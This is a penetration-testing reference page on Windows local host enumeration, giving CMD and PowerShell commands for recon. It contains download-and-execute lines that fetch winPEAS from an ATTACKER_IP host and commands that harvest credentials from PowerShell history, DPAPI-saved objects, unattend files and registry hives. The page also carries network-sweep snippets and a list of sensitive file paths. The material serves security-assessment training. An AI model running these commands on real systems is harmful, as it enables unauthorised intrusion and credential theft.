> ## Documentation Index > Fetch the complete documentation index at: https://0-x.dev/llms.txt > Use this file to discover all available pages before exploring further. # Windows OS Enumeration The goal here is building a full picture of the box before touching anything: who you are, what's installed, what's running, what's reachable, and what's lying around unprotected, before acting on any of it. Commands are split by shell (CMD vs PowerShell) since you won't always have both available. Exploiting what turns up here (token privileges, service misconfigurations, scheduled task hijacking) belongs on the Windows Privilege Escalation page, Active Directory enumeration (domain groups, trusts, `dsquery`, LAPS) belongs in the [Active Directory section](https://0-x.dev/ad/) instead, this page covers the local host only. *** ## Automated Enumeration **winPEAS** [winPEAS](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS) is the NR 1 Tool to go with, it has both, a `.exe` and a `.ps1`. ```powershell theme={null} IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/winPEAS.ps1') ``` ```cmd theme={null} certutil -urlcache -split -f http://ATTACKER_IP:8000/winPEASx64.exe winPEAS.exe ./winPEAS.exe ``` **JAWS** [JAWS](https://github.com/411Hall/JAWS) is lighter than winPEAS but not actively maintained anymore ```powershell theme={null} powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt ``` *** ## System Information **CMD** ```cmd theme={null} systeminfo # OS version, build, domain, installed RAM, patch level wmic qfe get Caption,Description,HotFixID,InstalledOn # installed hotfixes, cross-reference against known privesc CVEs set # environment variables wmic product get name # installed software (slow, but thorough) dir "C:\Program Files" "C:\Program Files (x86)" # faster installed-software check than wmic product ``` **PowerShell** ```powershell theme={null} Get-ComputerInfo | select OsName,OsVersion,OsBuildNumber # same info as systeminfo, structured Get-HotFix | ft -AutoSize # installed hotfixes Get-ChildItem Env: | ft Key,Value # environment variables Get-WmiObject -Class Win32_Product | select Name, Version # installed programs ``` ```powershell theme={null} Get-MpComputerStatus # Defender status: real-time protection, last scan, signature age Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections # AppLocker rules, which apps/paths are blocked ``` > [!TIP] > > Check AV and AppLocker status early, it decides which tools and techniques are even worth trying for the rest of the assessment. *** ## Users & Groups **CMD** ```cmd theme={null} whoami /priv # enabled privileges on the current token, start here whoami /groups # current user's group memberships query user # other users currently logged in ``` ```cmd theme={null} net users # all local accounts net user %username% # details on the current user net accounts # password/lockout policy net localgroup # all local groups net localgroup administrators # who's actually a local admin ``` > [!NOTE] > > `whoami /priv` is this page's equivalent of `sudo -l` on Linux, the single highest-value command here. A token privilege like `SeImpersonatePrivilege` or `SeBackupPrivilege` showing as enabled is a direct lead for the privilege escalation page. ```cmd theme={null} cmdkey /list # saved credentials in Windows Credential Manager runas /user: powershell # run a shell as a different local user if you have their password ``` **PowerShell** ```powershell theme={null} Get-LocalUser # all local accounts Get-LocalGroup # all local groups Get-LocalGroupMember Administrators # members of the local admins group ``` PowerShell command history frequently contains plaintext passwords or connection strings typed during legitimate admin work, worth checking for every user you have read access to. ```powershell theme={null} Get-Content (Get-PSReadLineOption).HistorySavePath foreach ($user in (Get-ChildItem C:\Users).FullName) { Get-Content "$user\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -ErrorAction SilentlyContinue } ``` ```powershell theme={null} qwinsta # sessions for other logged-in users ``` *** ## Domain Awareness A quick check for whether this box is domain-joined, worth knowing before deciding whether the [AD section](https://0-x.dev/ad/) is relevant at all. Full domain enumeration (`net group /domain`, `dsquery`, LAPS, trusts) lives there, not here. ```cmd theme={null} echo %USERDOMAIN% echo %logonserver% ``` ```powershell theme={null} (Get-WmiObject Win32_ComputerSystem).Domain ``` *** ## Network Information **CMD** ```cmd theme={null} ipconfig /all # interfaces, DNS, DHCP info route print # routing table arp -a # ARP cache netstat -ano # listening ports and owning PID ``` ```cmd theme={null} netsh advfirewall show allprofiles # firewall state per profile netsh advfirewall firewall show rule all # all configured firewall rules ``` ```cmd theme={null} # Quick one liner to ping sweep the network for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 | find "Reply" ``` **PowerShell** ```powershell theme={null} # Quick one liner to ping sweep the network 1..254 | % { "172.16.5.$($_): $(Test-Connection -count 1 -comp 172.16.5.$($_) -quiet)" } ``` ```powershell theme={null} # Script to scan ports for a specific ip addr $ports = @(80,445); $ip = "192.168.2.1" foreach ($port in $ports) { $socket = $null try { $socket = New-Object System.Net.Sockets.TcpClient($ip, $port) } catch {} if ($null -eq $socket) { Write-Host "$ip`:$port - Closed" } else { Write-Host "$ip`:$port - Open"; $socket.Close() } } ``` *** ## Processes & Services **CMD** ```cmd theme={null} tasklist /SVC # processes with the service they host net start # running services wmic service list brief # services with start mode and state schtasks /query /fo LIST /v # scheduled tasks, full detail ``` Named pipes are worth a look on a box you suspect runs privileged services, a writable or misconfigured pipe is a lead for the privilege escalation page. ```cmd theme={null} pipelist.exe /accepteula # list all named pipes accesschk64.exe /accepteula -w \pipe\* -v # list writable pipes specifically ``` **PowerShell** ```powershell theme={null} Get-ScheduledTask | select TaskName,State # active scheduled tasks Get-ChildItem \\.\pipe\ # named pipes ``` Some processes run and finish in under a second, too fast for a single `tasklist` snapshot to ever catch. This loop gets around that by taking two snapshots of every running process one second apart and showing what changed between them, so a process that started and ended in that gap still shows up. It's the PowerShell equivalent of `pspy` on Linux. ```powershell theme={null} while ($true) { $process = Get-WmiObject Win32_Process | Select-Object CommandLine Start-Sleep 1 $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine Compare-Object -ReferenceObject $process -DifferenceObject $process2 } ``` *** ## Files & Shares **CMD** ```cmd theme={null} net share # shares hosted by this machine net view \\computer /ALL # shares on a specific remote host net view /domain # list of PCs in the domain net use n: \\\ # mount a share to a drive letter ``` ```cmd theme={null} icacls # permissions on a specific file accesschk64.exe /accepteula -s -d C:\Scripts\ # recursive permission check on a directory ``` **PowerShell** ```powershell theme={null} Get-ChildItem \\\ # browse a share New-PSDrive -Name "N" -Root "\\\" -PSProvider "FileSystem" # mount a share as a drive Get-Acl "" | Format-List # ACL for a file ``` *** ## Credential & Sensitive File Hunting ```cmd theme={null} dir n:\*cred* /s /b dir n:\*secret* /s /b findstr /s /i cred n:\*.* ``` ```powershell theme={null} Get-ChildItem -Recurse -Path N:\ -Include *cred* -File Get-ChildItem -Recurse -Path N:\ | Select-String "cred" -List ``` A wider sweep across common sensitive-data extensions and keywords, worth running against both the local disk and any mounted share. ```cmd theme={null} findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.ps1 *.yml *.csv *.rdg ``` ```powershell theme={null} Get-ChildItem C:\ -Recurse -Include *.rdp,*.config,*.vnc,*.cred -ErrorAction Ignore ``` > **Credentials embedded in PowerShell scripts and Windows setup files** > > A `Import-Clixml`-saved credential object stores the password encrypted with DPAPI, readable back out by the same user/machine that created it, worth checking any `.xml` found during the sweeps above. > > ```powershell theme={null} > $credential = Import-Clixml -Path 'C:\scripts\pass.xml' > $credential.GetNetworkCredential().username > $credential.GetNetworkCredential().password > ``` > > Windows setup/unattended-install files frequently still contain the local administrator password set during imaging, base64-encoded but not otherwise protected. > > ```text theme={null} > C:\Windows\Panther\Unattend.xml > C:\Windows\Panther\Autounattend.xml > ``` > **Interesting file paths worth checking directly** > > ```text theme={null} > %SYSTEMDRIVE%\pagefile.sys > %WINDIR%\debug\NetSetup.log > %WINDIR%\repair\sam > %WINDIR%\repair\system > %WINDIR%\repair\software > %WINDIR%\repair\security > %WINDIR%\system32\config\AppEvent.Evt > %WINDIR%\system32\config\SecEvent.Evt > %WINDIR%\system32\CCM\logs\*.log > %USERPROFILE%\ntuser.dat > %WINDIR%\System32\drivers\etc\hosts > C:\ProgramData\Configs\* > %APPDATA%\Mozilla\Firefox\Profiles\.default-release > %LOCALAPPDATA%\Google\Chrome\User Data\Default\Cookies > C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState > ``` > [!TIP] > > Credentials harvested from the browser or Credential Manager (SharpChrome, LaZagne) are covered in depth on the [Browser Cookies Attacks](https://0-x.dev/cookie-attacks.md) page rather than duplicated here, check there once a user's profile is accessible. ### Automated Sensitive-File Hunting ```cmd theme={null} snaffler.exe -s -o snaffler.log ``` ```powershell theme={null} Invoke-HuntSMBShares -Threads 100 -OutputDirectory C:\Users\Public ``` *** ## Metasploit Post Modules
Module Description
`post/windows/gather/enum_logged_on_users` Currently logged-on users
`post/windows/gather/enum_applications` Installed applications
`post/windows/gather/enum_computers` Computers visible to this host
`post/windows/gather/enum_patches` Installed patches
`post/windows/gather/enum_shares` Accessible shares
`post/multi/gather/ping_sweep` Ping sweep from the compromised host
*** ## Breaking Out of Restricted Environments Kiosk mode, Citrix, and other locked-down desktop environments need their own escape techniques before any of the enumeration above is even possible. > **[Breaking Out of Windows Environments](https://node-security.com/posts/breaking-out-of-windows-environments/)** > > General kiosk/restricted-desktop escape techniques. > **[Breaking Out of Citrix](https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/)** > > Citrix and similar remote-desktop-specific escapes. *** ## Quick Reference Tools > **[LOLBAS](https://lolbas-project.github.io/)** > > Lookup table of legitimate Windows binaries abusable for privilege escalation, the Windows equivalent of GTFOBins. > **[winPEAS](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS)** > > Automated enumeration, see above. > **[JAWS](https://github.com/411Hall/JAWS)** > > Lighter automated enumeration script, see above. > **[Snaffler](https://github.com/SnaffCon/Snaffler)** > > Automated sensitive-file and credential hunting across shares and the local disk. This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.